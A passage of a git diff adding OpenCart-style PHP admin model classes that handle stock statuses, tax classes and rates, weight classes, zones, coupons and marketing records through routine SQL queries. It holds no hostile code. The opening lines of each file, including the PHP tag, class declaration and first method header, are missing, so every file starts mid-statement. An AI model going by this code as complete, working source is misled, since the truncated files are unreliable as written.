+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/stock_status.php b/public/admin/model/localisation/stock_status.php
new file mode 100644
index 0000000..dd5a2d6
--- /dev/null
+++ b/public/admin/model/localisation/stock_status.php
@@ -0,0 +1,100 @@
+ $value) {
+ if (isset($stock_status_id)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "stock_status SET stock_status_id = '" . (int)$stock_status_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "stock_status SET language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+
+ $stock_status_id = $this->db->getLastId();
+ }
+ }
+
+ $this->cache->delete('stock_status');
+
+ return $stock_status_id;
+ }
+
+ public function editStockStatus($stock_status_id, $data) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "stock_status WHERE stock_status_id = '" . (int)$stock_status_id . "'");
+
+ foreach ($data['stock_status'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "stock_status SET stock_status_id = '" . (int)$stock_status_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('stock_status');
+ }
+
+ public function deleteStockStatus($stock_status_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "stock_status WHERE stock_status_id = '" . (int)$stock_status_id . "'");
+
+ $this->cache->delete('stock_status');
+ }
+
+ public function getStockStatus($stock_status_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "stock_status WHERE stock_status_id = '" . (int)$stock_status_id . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getStockStatuses($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "stock_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sql .= " ORDER BY name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $stock_status_data = $this->cache->get('stock_status.' . (int)$this->config->get('config_language_id'));
+
+ if (!$stock_status_data) {
+ $query = $this->db->query("SELECT stock_status_id, name FROM " . DB_PREFIX . "stock_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY name");
+
+ $stock_status_data = $query->rows;
+
+ $this->cache->set('stock_status.' . (int)$this->config->get('config_language_id'), $stock_status_data);
+ }
+
+ return $stock_status_data;
+ }
+ }
+
+ public function getStockStatusDescriptions($stock_status_id) {
+ $stock_status_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "stock_status WHERE stock_status_id = '" . (int)$stock_status_id . "'");
+
+ foreach ($query->rows as $result) {
+ $stock_status_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $stock_status_data;
+ }
+
+ public function getTotalStockStatuses() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "stock_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/tax_class.php b/public/admin/model/localisation/tax_class.php
new file mode 100644
index 0000000..c7f60d2
--- /dev/null
+++ b/public/admin/model/localisation/tax_class.php
@@ -0,0 +1,105 @@
+db->query("INSERT INTO " . DB_PREFIX . "tax_class SET title = '" . $this->db->escape($data['title']) . "', description = '" . $this->db->escape($data['description']) . "', date_added = NOW()");
+
+ $tax_class_id = $this->db->getLastId();
+
+ if (isset($data['tax_rule'])) {
+ foreach ($data['tax_rule'] as $tax_rule) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "tax_rule SET tax_class_id = '" . (int)$tax_class_id . "', tax_rate_id = '" . (int)$tax_rule['tax_rate_id'] . "', based = '" . $this->db->escape($tax_rule['based']) . "', priority = '" . (int)$tax_rule['priority'] . "'");
+ }
+ }
+
+ $this->cache->delete('tax_class');
+
+ return $tax_class_id;
+ }
+
+ public function editTaxClass($tax_class_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "tax_class SET title = '" . $this->db->escape($data['title']) . "', description = '" . $this->db->escape($data['description']) . "', date_modified = NOW() WHERE tax_class_id = '" . (int)$tax_class_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_rule WHERE tax_class_id = '" . (int)$tax_class_id . "'");
+
+ if (isset($data['tax_rule'])) {
+ foreach ($data['tax_rule'] as $tax_rule) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "tax_rule SET tax_class_id = '" . (int)$tax_class_id . "', tax_rate_id = '" . (int)$tax_rule['tax_rate_id'] . "', based = '" . $this->db->escape($tax_rule['based']) . "', priority = '" . (int)$tax_rule['priority'] . "'");
+ }
+ }
+
+ $this->cache->delete('tax_class');
+ }
+
+ public function deleteTaxClass($tax_class_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_class WHERE tax_class_id = '" . (int)$tax_class_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_rule WHERE tax_class_id = '" . (int)$tax_class_id . "'");
+
+ $this->cache->delete('tax_class');
+ }
+
+ public function getTaxClass($tax_class_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "tax_class WHERE tax_class_id = '" . (int)$tax_class_id . "'");
+
+ return $query->row;
+ }
+
+ public function getTaxClasses($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "tax_class";
+
+ $sql .= " ORDER BY title";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $tax_class_data = $this->cache->get('tax_class');
+
+ if (!$tax_class_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "tax_class");
+
+ $tax_class_data = $query->rows;
+
+ $this->cache->set('tax_class', $tax_class_data);
+ }
+
+ return $tax_class_data;
+ }
+ }
+
+ public function getTotalTaxClasses() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "tax_class");
+
+ return $query->row['total'];
+ }
+
+ public function getTaxRules($tax_class_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "tax_rule WHERE tax_class_id = '" . (int)$tax_class_id . "' ORDER BY priority ASC");
+
+ return $query->rows;
+ }
+
+ public function getTotalTaxRulesByTaxRateId($tax_rate_id) {
+ $query = $this->db->query("SELECT COUNT(DISTINCT tax_class_id) AS total FROM " . DB_PREFIX . "tax_rule WHERE tax_rate_id = '" . (int)$tax_rate_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/tax_rate.php b/public/admin/model/localisation/tax_rate.php
new file mode 100644
index 0000000..0b049d0
--- /dev/null
+++ b/public/admin/model/localisation/tax_rate.php
@@ -0,0 +1,104 @@
+db->query("INSERT INTO " . DB_PREFIX . "tax_rate SET name = '" . $this->db->escape($data['name']) . "', rate = '" . (float)$data['rate'] . "', `type` = '" . $this->db->escape($data['type']) . "', geo_zone_id = '" . (int)$data['geo_zone_id'] . "', date_added = NOW(), date_modified = NOW()");
+
+ $tax_rate_id = $this->db->getLastId();
+
+ if (isset($data['tax_rate_customer_group'])) {
+ foreach ($data['tax_rate_customer_group'] as $customer_group_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "tax_rate_to_customer_group SET tax_rate_id = '" . (int)$tax_rate_id . "', customer_group_id = '" . (int)$customer_group_id . "'");
+ }
+ }
+
+ return $tax_rate_id;
+ }
+
+ public function editTaxRate($tax_rate_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "tax_rate SET name = '" . $this->db->escape($data['name']) . "', rate = '" . (float)$data['rate'] . "', `type` = '" . $this->db->escape($data['type']) . "', geo_zone_id = '" . (int)$data['geo_zone_id'] . "', date_modified = NOW() WHERE tax_rate_id = '" . (int)$tax_rate_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_rate_to_customer_group WHERE tax_rate_id = '" . (int)$tax_rate_id . "'");
+
+ if (isset($data['tax_rate_customer_group'])) {
+ foreach ($data['tax_rate_customer_group'] as $customer_group_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "tax_rate_to_customer_group SET tax_rate_id = '" . (int)$tax_rate_id . "', customer_group_id = '" . (int)$customer_group_id . "'");
+ }
+ }
+ }
+
+ public function deleteTaxRate($tax_rate_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_rate WHERE tax_rate_id = '" . (int)$tax_rate_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_rate_to_customer_group WHERE tax_rate_id = '" . (int)$tax_rate_id . "'");
+ }
+
+ public function getTaxRate($tax_rate_id) {
+ $query = $this->db->query("SELECT tr.tax_rate_id, tr.name AS name, tr.rate, tr.type, tr.geo_zone_id, gz.name AS geo_zone, tr.date_added, tr.date_modified FROM " . DB_PREFIX . "tax_rate tr LEFT JOIN " . DB_PREFIX . "geo_zone gz ON (tr.geo_zone_id = gz.geo_zone_id) WHERE tr.tax_rate_id = '" . (int)$tax_rate_id . "'");
+
+ return $query->row;
+ }
+
+ public function getTaxRates($data = array()) {
+ $sql = "SELECT tr.tax_rate_id, tr.name AS name, tr.rate, tr.type, gz.name AS geo_zone, tr.date_added, tr.date_modified FROM " . DB_PREFIX . "tax_rate tr LEFT JOIN " . DB_PREFIX . "geo_zone gz ON (tr.geo_zone_id = gz.geo_zone_id)";
+
+ $sort_data = array(
+ 'tr.name',
+ 'tr.rate',
+ 'tr.type',
+ 'gz.name',
+ 'tr.date_added',
+ 'tr.date_modified'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY tr.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTaxRateCustomerGroups($tax_rate_id) {
+ $tax_customer_group_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "tax_rate_to_customer_group WHERE tax_rate_id = '" . (int)$tax_rate_id . "'");
+
+ foreach ($query->rows as $result) {
+ $tax_customer_group_data[] = $result['customer_group_id'];
+ }
+
+ return $tax_customer_group_data;
+ }
+
+ public function getTotalTaxRates() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "tax_rate");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalTaxRatesByGeoZoneId($geo_zone_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "tax_rate WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/weight_class.php b/public/admin/model/localisation/weight_class.php
new file mode 100644
index 0000000..6e131ec
--- /dev/null
+++ b/public/admin/model/localisation/weight_class.php
@@ -0,0 +1,120 @@
+db->query("INSERT INTO " . DB_PREFIX . "weight_class SET value = '" . (float)$data['value'] . "'");
+
+ $weight_class_id = $this->db->getLastId();
+
+ foreach ($data['weight_class_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "weight_class_description SET weight_class_id = '" . (int)$weight_class_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', unit = '" . $this->db->escape($value['unit']) . "'");
+ }
+
+ $this->cache->delete('weight_class');
+
+ return $weight_class_id;
+ }
+
+ public function editWeightClass($weight_class_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "weight_class SET value = '" . (float)$data['value'] . "' WHERE weight_class_id = '" . (int)$weight_class_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "weight_class_description WHERE weight_class_id = '" . (int)$weight_class_id . "'");
+
+ foreach ($data['weight_class_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "weight_class_description SET weight_class_id = '" . (int)$weight_class_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', unit = '" . $this->db->escape($value['unit']) . "'");
+ }
+
+ $this->cache->delete('weight_class');
+ }
+
+ public function deleteWeightClass($weight_class_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "weight_class WHERE weight_class_id = '" . (int)$weight_class_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "weight_class_description WHERE weight_class_id = '" . (int)$weight_class_id . "'");
+
+ $this->cache->delete('weight_class');
+ }
+
+ public function getWeightClasses($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "weight_class wc LEFT JOIN " . DB_PREFIX . "weight_class_description wcd ON (wc.weight_class_id = wcd.weight_class_id) WHERE wcd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'title',
+ 'unit',
+ 'value'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY title";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $weight_class_data = $this->cache->get('weight_class.' . (int)$this->config->get('config_language_id'));
+
+ if (!$weight_class_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "weight_class wc LEFT JOIN " . DB_PREFIX . "weight_class_description wcd ON (wc.weight_class_id = wcd.weight_class_id) WHERE wcd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ $weight_class_data = $query->rows;
+
+ $this->cache->set('weight_class.' . (int)$this->config->get('config_language_id'), $weight_class_data);
+ }
+
+ return $weight_class_data;
+ }
+ }
+
+ public function getWeightClass($weight_class_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "weight_class wc LEFT JOIN " . DB_PREFIX . "weight_class_description wcd ON (wc.weight_class_id = wcd.weight_class_id) WHERE wc.weight_class_id = '" . (int)$weight_class_id . "' AND wcd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getWeightClassDescriptionByUnit($unit) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "weight_class_description WHERE unit = '" . $this->db->escape($unit) . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getWeightClassDescriptions($weight_class_id) {
+ $weight_class_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "weight_class_description WHERE weight_class_id = '" . (int)$weight_class_id . "'");
+
+ foreach ($query->rows as $result) {
+ $weight_class_data[$result['language_id']] = array(
+ 'title' => $result['title'],
+ 'unit' => $result['unit']
+ );
+ }
+
+ return $weight_class_data;
+ }
+
+ public function getTotalWeightClasses() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "weight_class");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/zone.php b/public/admin/model/localisation/zone.php
new file mode 100644
index 0000000..362c90d
--- /dev/null
+++ b/public/admin/model/localisation/zone.php
@@ -0,0 +1,92 @@
+db->query("INSERT INTO " . DB_PREFIX . "zone SET status = '" . (int)$data['status'] . "', name = '" . $this->db->escape($data['name']) . "', code = '" . $this->db->escape($data['code']) . "', country_id = '" . (int)$data['country_id'] . "'");
+
+ $this->cache->delete('zone');
+
+ return $this->db->getLastId();
+ }
+
+ public function editZone($zone_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "zone SET status = '" . (int)$data['status'] . "', name = '" . $this->db->escape($data['name']) . "', code = '" . $this->db->escape($data['code']) . "', country_id = '" . (int)$data['country_id'] . "' WHERE zone_id = '" . (int)$zone_id . "'");
+
+ $this->cache->delete('zone');
+ }
+
+ public function deleteZone($zone_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "zone WHERE zone_id = '" . (int)$zone_id . "'");
+
+ $this->cache->delete('zone');
+ }
+
+ public function getZone($zone_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "zone WHERE zone_id = '" . (int)$zone_id . "'");
+
+ return $query->row;
+ }
+
+ public function getZones($data = array()) {
+ $sql = "SELECT *, z.name, c.name AS country FROM " . DB_PREFIX . "zone z LEFT JOIN " . DB_PREFIX . "country c ON (z.country_id = c.country_id)";
+
+ $sort_data = array(
+ 'c.name',
+ 'z.name',
+ 'z.code'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY c.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getZonesByCountryId($country_id) {
+ $zone_data = $this->cache->get('zone.' . (int)$country_id);
+
+ if (!$zone_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "zone WHERE country_id = '" . (int)$country_id . "' AND status = '1' ORDER BY name");
+
+ $zone_data = $query->rows;
+
+ $this->cache->set('zone.' . (int)$country_id, $zone_data);
+ }
+
+ return $zone_data;
+ }
+
+ public function getTotalZones() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "zone");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalZonesByCountryId($country_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "zone WHERE country_id = '" . (int)$country_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/marketing/coupon.php b/public/admin/model/marketing/coupon.php
new file mode 100644
index 0000000..7dbf093
--- /dev/null
+++ b/public/admin/model/marketing/coupon.php
@@ -0,0 +1,152 @@
+db->query("INSERT INTO " . DB_PREFIX . "coupon SET name = '" . $this->db->escape($data['name']) . "', code = '" . $this->db->escape($data['code']) . "', discount = '" . (float)$data['discount'] . "', type = '" . $this->db->escape($data['type']) . "', total = '" . (float)$data['total'] . "', logged = '" . (int)$data['logged'] . "', shipping = '" . (int)$data['shipping'] . "', date_start = '" . $this->db->escape($data['date_start']) . "', date_end = '" . $this->db->escape($data['date_end']) . "', uses_total = '" . (int)$data['uses_total'] . "', uses_customer = '" . (int)$data['uses_customer'] . "', status = '" . (int)$data['status'] . "', date_added = NOW()");
+
+ $coupon_id = $this->db->getLastId();
+
+ if (isset($data['coupon_product'])) {
+ foreach ($data['coupon_product'] as $product_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "coupon_product SET coupon_id = '" . (int)$coupon_id . "', product_id = '" . (int)$product_id . "'");
+ }
+ }
+
+ if (isset($data['coupon_category'])) {
+ foreach ($data['coupon_category'] as $category_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "coupon_category SET coupon_id = '" . (int)$coupon_id . "', category_id = '" . (int)$category_id . "'");
+ }
+ }
+
+ return $coupon_id;
+ }
+
+ public function editCoupon($coupon_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "coupon SET name = '" . $this->db->escape($data['name']) . "', code = '" . $this->db->escape($data['code']) . "', discount = '" . (float)$data['discount'] . "', type = '" . $this->db->escape($data['type']) . "', total = '" . (float)$data['total'] . "', logged = '" . (int)$data['logged'] . "', shipping = '" . (int)$data['shipping'] . "', date_start = '" . $this->db->escape($data['date_start']) . "', date_end = '" . $this->db->escape($data['date_end']) . "', uses_total = '" . (int)$data['uses_total'] . "', uses_customer = '" . (int)$data['uses_customer'] . "', status = '" . (int)$data['status'] . "' WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_product WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ if (isset($data['coupon_product'])) {
+ foreach ($data['coupon_product'] as $product_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "coupon_product SET coupon_id = '" . (int)$coupon_id . "', product_id = '" . (int)$product_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_category WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ if (isset($data['coupon_category'])) {
+ foreach ($data['coupon_category'] as $category_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "coupon_category SET coupon_id = '" . (int)$coupon_id . "', category_id = '" . (int)$category_id . "'");
+ }
+ }
+ }
+
+ public function deleteCoupon($coupon_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon WHERE coupon_id = '" . (int)$coupon_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_product WHERE coupon_id = '" . (int)$coupon_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_category WHERE coupon_id = '" . (int)$coupon_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_history WHERE coupon_id = '" . (int)$coupon_id . "'");
+ }
+
+ public function getCoupon($coupon_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "coupon WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ return $query->row;
+ }
+
+ public function getCouponByCode($code) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "coupon WHERE code = '" . $this->db->escape($code) . "'");
+
+ return $query->row;
+ }
+
+ public function getCoupons($data = array()) {
+ $sql = "SELECT coupon_id, name, code, discount, date_start, date_end, status FROM " . DB_PREFIX . "coupon";
+
+ $sort_data = array(
+ 'name',
+ 'code',
+ 'discount',
+ 'date_start',
+ 'date_end',
+ 'status'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCouponProducts($coupon_id) {
+ $coupon_product_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "coupon_product WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ foreach ($query->rows as $result) {
+ $coupon_product_data[] = $result['product_id'];
+ }
+
+ return $coupon_product_data;
+ }
+
+ public function getCouponCategories($coupon_id) {
+ $coupon_category_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "coupon_category WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ foreach ($query->rows as $result) {
+ $coupon_category_data[] = $result['category_id'];
+ }
+
+ return $coupon_category_data;
+ }
+
+ public function getTotalCoupons() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "coupon");
+
+ return $query->row['total'];
+ }
+
+ public function getCouponHistories($coupon_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT ch.order_id, CONCAT(c.firstname, ' ', c.lastname) AS customer, ch.amount, ch.date_added FROM " . DB_PREFIX . "coupon_history ch LEFT JOIN " . DB_PREFIX . "customer c ON (ch.customer_id = c.customer_id) WHERE ch.coupon_id = '" . (int)$coupon_id . "' ORDER BY ch.date_added ASC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalCouponHistories($coupon_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "coupon_history WHERE coupon_id = '" . (int)$coupon_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/marketing/marketing.php b/public/admin/model/marketing/marketing.php
new file mode 100644
index 0000000..df585e2
--- /dev/null
+++ b/public/admin/model/marketing/marketing.php
@@ -0,0 +1,118 @@
+db->query("INSERT INTO " . DB_PREFIX . "marketing SET name = '" . $this->db->escape($data['name']) . "', description = '" . $this->db->escape($data['description']) . "', code = '" . $this->db->escape($data['code']) . "', date_added = NOW()");
+
+ return $this->db->getLastId();
+ }
+
+ public function editMarketing($marketing_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "marketing SET name = '" . $this->db->escape($data['name']) . "', description = '" . $this->db->escape($data['description']) . "', code = '" . $this->db->escape($data['code']) . "' WHERE marketing_id = '" . (int)$marketing_id . "'");
+ }
+
+ public function deleteMarketing($marketing_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "marketing WHERE marketing_id = '" . (int)$marketing_id . "'");
+ }
+
+ public function getMarketing($marketing_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "marketing WHERE marketing_id = '" . (int)$marketing_id . "'");
+
+ return $query->row;
+ }
+
+ public function getMarketingByCode($code) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "marketing WHERE code = '" . $this->db->escape($code) . "'");
+
+ return $query->row;
+ }
+
+ public function getMarketings($data = array()) {
+ $implode = array();
+
+ $order_statuses = $this->config->get('config_complete_status');
+
+ foreach ($order_statuses as $order_status_id) {
+ $implode[] = "o.order_status_id = '" . (int)$order_status_id . "'";
+ }
+
+ $sql = "SELECT *, (SELECT COUNT(*) FROM `" . DB_PREFIX . "order` o WHERE (" . implode(" OR ", $implode) . ") AND o.marketing_id = m.marketing_id) AS orders FROM " . DB_PREFIX . "marketing m";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "m.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_code'])) {
+ $implode[] = "m.code = '" . $this->db->escape($data['filter_code']) . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(m.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sort_data = array(
+ 'm.name',
+ 'm.code',
+ 'm.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY m.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalMarketings($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "marketing";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
+ $implode[] = "name LIKE '" . $this->db->escape($data['filter_name']) . "'";
+ }
+
+ if (!empty($data['filter_code'])) {
+ $implode[] = "code = '" . $this->db->escape($data['filter_code']) . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/report/online.php b/public/admin/model/report/online.php
new file mode 100644
index 0000000..8c13990
--- /dev/null
+++ b/public/admin/model/report/online.php
